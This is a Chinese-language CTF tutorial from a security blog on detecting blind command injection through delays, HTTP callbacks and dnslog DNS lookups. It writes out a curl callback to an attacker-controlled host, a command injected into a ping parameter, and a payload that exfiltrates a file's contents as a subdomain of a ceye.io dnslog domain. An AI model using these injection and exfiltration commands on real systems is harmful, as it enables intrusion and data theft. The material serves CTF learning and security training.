命令执行无回显的判断方法及dnslog相关例题

2019-10-21 15,300

命令执行判断


命令执行可能会存在命令执行完没有回显,首先要判断命令是否有执行,可以通过三种方式来判断:延时、HTTP请求、DNS请求。


1、 延时


18-1-1024x582.png

 无延时无回显


18-2-1024x579.png

有延时无回显

18-2-1024x579.png


通过是否延时来判断该条命令是否有执行,有延时则代表命令有执行。(”sleep 3”表示延时3秒)



2、 HTTP请求



目标机通过向公网可通信的机子发起http请求,而这个公网可通信的机子是我们可控的,则当该公网机子收到http请求就代表命令有执行。




例:我们在公网机上可以通过”nc -lv 端口号”来监听该端口,当目标机”curl 公网机ip:端口号”的时候,公网机的该端口可以发现有http请求过来。(注意:ping命令不产生http请求)


18-3-1024x587.png

公网机进行8000端口监听


18-4-1024x576.png

 目标机向公网机的8000端口发起http请求


18-51-1024x581.png

 公网机监听中的8000端口收到http请求


18-6.png

 将”curl 公网机ip:端口号”命令拼接到地址中进行命令执行


18-7.png

 公网机监听中的8000端口收到http请求说明命令执行成功


3、 DNS请求

如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。(要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现)


例:大家可以去ceye.io注册个账号,注册完后会给一个域名,如果有域名解析请求会有记录。


我这边得到的域名是wzrtbq.ceye.io,如果我去访问1111111. wzrtbq.ceye.io,那么就会记录下来这个域名解析请求。


18-8.png

 访问1111111. wzrtbq.ceye.io


18-11.png

 域名解析请求被记录


18-12.png

 将访问域名拼接到地址中


18-15.png

 域名解析请求被记录




利用



1、直接写入或外部下载shell执行命令

例:通过命令执行直接得到文件内容 


18-13.png

生成1.txt拷贝



18-13.png

 访问1.txt




将”=cp where_is_flag.php 1.txt”做为参数传递给ping,然后就执行了” cp where_is_flag.php 1.txt”这个命令,生成1.txt文件,在去访问1.txt,就能得到1.txt的内容(也就是where_is_flag.php的内容),最后找到flag



2、通过http请求/dns请求等方式带出数据

例:通过dnslog带出数据



注意:1、命令执行时要避免空格,空格会导致空格后面的命令执行不到;2、将读取的文件命令用``包含起来;3、拼接的域名有长度限制。




 

18-14.png


读取where_is_flag.php:`cat where_is_flag.php`


18-15.png

替换读取文件中的空格:`cat where_is_flag.php|sed s/[[:space:]]//`




18-16.png

拼接域名:`cat where_is_flag.php|sed s/[[:space:]]//`.wzrtbq.ceye.io




18-17.png

 利用dnslog


18-18.png

 得到文件内容(即得到了flag文件地址)


18-19.png

获取flag文件内容




18-20.png


获取到flag


本文作者:牛油果 1472301220

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/115970.html

Tags:
评论  (0)
快来写下你的想法吧!

牛油果 1472301220

文章数:20 积分: 166

微信同QQ 1472301220 认证相关问题随便问我都知道 我是可爱的小姐姐

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号